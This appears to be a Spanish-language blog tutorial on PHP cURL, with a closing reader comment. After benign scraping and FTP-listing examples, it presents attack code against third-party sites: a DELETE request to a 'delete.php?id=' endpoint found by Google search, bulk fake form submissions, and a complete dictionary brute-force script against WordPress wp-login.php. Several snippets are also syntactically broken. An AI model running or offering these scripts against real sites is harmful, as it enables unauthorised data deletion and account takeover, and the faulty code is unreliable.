Para utilizar cURL se deben realizar 4 pasos
- Inicializar cURL
- Configurar opciones según la tarea a realizar
- Ejecutar una consulta a la url que queramos
- Recibir la información si esta disponible.
Se utiliza para mostrar informacion de mercados financieros en tiempo real o el clima. Tambien para actualizar precios de proveedores leyendo un archivo que ellos brindan en un enlace, todos los puntos de ventas pueden actualizar sus bases de datos.
Si nuestra instalación de PHP no dispone de cURL y nuestro servidor es Xampp o LAMP se instala desde la terminal de la siguiente manera:
sudo apt-get install php5-curlY tras unos segundos para completarse la instalación deberemos reiniciar el servidor Apache con el siguiente comando:
sudo /etc/init.d/apache2 restartEste tutorial se basara en Linux, pero si estas utilizando Windows, puedes habilitar el soporte Curl copiando los archivos libeay32.dll y ssleay32.dll de Xampp version Windows en el directorio c:\windows\system32, luego debes habilitar la extensión de cURL en el archivo php.ini de Xampp, descomentando la linea extension=php_curl.dll y reiniciando el servidor Xampp.
Supongamos un primer ejemplo: Quiero actualizar mi sitio web con valores de una tienda online, tomaremos la web de venta de relojes de ebay. Creamos un archivo php en el servidor local o remoto utilizo el siguiente código:
<?php echo "Extrayendo información"; $curl = curl_init(); $fp = fopen("listarelojes.txt", "w"); curl_setopt ($curl, CURLOPT_URL, "http://globaldeals.ebay.com/Featured/Watches/?c=LATAM"); curl_setopt($curl, CURLOPT_FILE, $fp); echo "<br>Espere ........"; curl_exec ($curl); curl_close ($curl); echo "<br>Extracción finalizada"; ?>El resultado de ejecutar el script será un archivo de texto.
Si convertimos el archivo txt en html podremos ver el código que traer, si analizamos el código veremos que cada
<div class="card"></div> es el bloque que representa un reloj, así podremos crear un script que identifique cada id y extraer la información para guardar en nuestra base de datos por ejemplo.
Veamos un ejemplo de un ftp. Extraeremos todos los directorios y sus datos del ftp de gnu.org, y mediante la función nl2br añadimos un salto de renglón por cada directorio sino viene todo en un solo renglón.
<?php $curl = curl_init(); curl_setopt($curl, CURLOPT_URL,"ftp://ftp.gnu.org"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $directorios = curl_exec ($curl); curl_close ($curl); $directorios_br=nl2br($directorios); echo $directorios_br; ?>
Veamos a continuación un ejemplo con un ftp de una web:
<strong>Directorios de una web</strong> <?php $curl = curl_init(); curl_setopt($curl, CURLOPT_URL,"ftp://ftpedemos.tk"); curl_setopt($curl, CURLOPT_FTPLISTONLY, 1); curl_setopt($curl, CURLOPT_USERPWD, "miusuario:miclave"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $directorios = curl_exec ($curl); echo curl_error($curl); curl_close ($curl); $directorios_br=nl2br($directorios); echo $directorios_br; ?>
Podemos observar como listamos todos los directorios, obviamente necesitamos el usuario y clave para poder verlo pero si no tiene podremos acceder sin problemas, también podríamos generar un script que pruebe combinaciones de palabras tipo ataque brutal force.
Otro tipo de ataque podemos hacer es encontrar url con enlaces y variables que puedan ser explotadas. Por ejemplo muchas web utilizan procedimientos para eliminar datos como delete.php?id= , si buscamos esto en Google.
Podemos explotar este tipo de vulnerabilidad con el siguiente código:
<?php $data = array("id"=>3); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://www.demo.com/delete.php?id=108"); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $data = curl_exec($ch); curl_close($ch); ?>Podríamos crear un bucle for o while que pruebe distintos números de id.
También podemos utilizarlo leer datos o insertar datos o cualquier otra tarea que realice la web mediante el id.
Por ejemplo si conocemos los campos de un formulario podremos insertar datos, al enviarlos por método POST del formulario.
<?php $postData = array( 'nombre'=>'sergio, ‘domicilio’=>’Cordoba 123’, 'email'=>demo@gmail.com', clave=>'abc123' ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://wwwdemo.com/nuevocliente"); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); print_r($data); curl_close($ch); ?>Aquí podríamos crear un bucle que lea una base de datos y vaya creando miles de clientes nuevos, podría ser útil para dar de alta muchos productos.
A continuación veremos como vulnerar una web Wordpress mediante un script con php y curl que realice un ataque brutal force (Fuerza Bruta).
Para ello buscaremos una web en Wordpress y utilizaremos la url del acceso al panel del administrador.
Luego crearemos un diccionario para nombres de usuarios y otro para palabras claves, el diccionario no es más que un archivo de texto con palabras una debajo de otra.
Crearemos el diccionario de nombre de usuario denominado usuarios.dic
Añadimos las palabras que queramos siempre tratando de pensar en posibles nombres de usuarios. Luego creamos otro archivo para el diccionario de claves que se denominara claves.dic.
Finalmente crearemos el script que se encargará de hacer el exploit tomando un usuario y una clave y probando a loguearse, si lo consigue nos dará un aviso.
El código del exploit sera el siguiente
<?php error_reporting(0); $url = "http://demos.tk/wp-login.php"; $usuariosdic = file_get_contents("usuarios.dic"); $usuarios = explode("\n",$usuariosdic); $clavesdic = file_get_contents("claves.dic"); $claves = explode("\n",$clavesdic); foreach ($usuarios as $usuario){ for( $i= 0 ; $i <= count($claves) ; $i++ ) { $POST = "log=".$usuario."&pwd=".$claves[$i]; $curlconecta = curl_init(); curl_setopt($curlconecta, CURLOPT_URL, $url); curl_setopt($curlconecta, CURLOPT_POSTFIELDS, $POST); curl_setopt($curlconecta, CURLOPT_RETURNTRANSFER, true); $consulta = curl_exec($curlconecta); if ($consulta){ /Si login no es valido muestro error print "Usuario: $usuario y clave: ".$claves[$i]." ---> No Valido<br>"; } else{ print "Usuario: $usuario y clave: ".$claves[$i]." ---> Valido. Acceso aceptado!<br>"; exit(); } curl_close($curlconecta); } } ?>
Esto es un ejemplo de como podemos con pocas lines de código, después de encontrar alguna vulnerabilidad en una web o servidor explotarla o bien testearla para evitar el problema.
Así mediante un script php y cURL podemos automatizar tareas de testing o de pruebas de penetración simulando un ataque.
Un script de este tipo puede servidor para probar los campos de un formularios tanto para insertar datos como para simular un ataque repitiendo una determinada cantidad de veces peticiones al servidor en forma automática y luego analizando que ocurrió o bien monitorizar el ataque mientras ocurre para entender como resolver la situación si fuera real o ejecutar diferentes acciones según la respuesta y accionar por parte del servidor.
Otra función muy interesante es poder copiar archivos de un servidor a otro como por ejemplo
<? function transferir archivo ($urlorigen,$urldestino){ $mi_curl = curl_init ($urlorigen); $fs_archivo = fopen ($urldestino, "w"); curl_setopt ($mi_curl, CURLOPT_FILE, $fs_archivo); curl_setopt ($mi_curl, CURLOPT_HEADER, 0); curl_exec ($mi_curl); curl_close ($mi_curl); fclose ($fs_archivo); } ?>Luego lo utilizaríamos dentro de un bucle o la función sola para transferir automáticamente uno o varios archivos.
<? $urlorigen=”http://www.servidor1.com/imagenes/fotos/imagen.jpg”; $urldestino=”http://www.servidor2.com/imagenes/fotos/imagen.jpg”; transferir archivo ($urlorigen,$urldestino); ?>Así podríamos inclusive crear un script que se encargue de hacer backup automático de todos los archivos o un directorio en particular.
Interesante el tema amigo pero me gustaría profundizar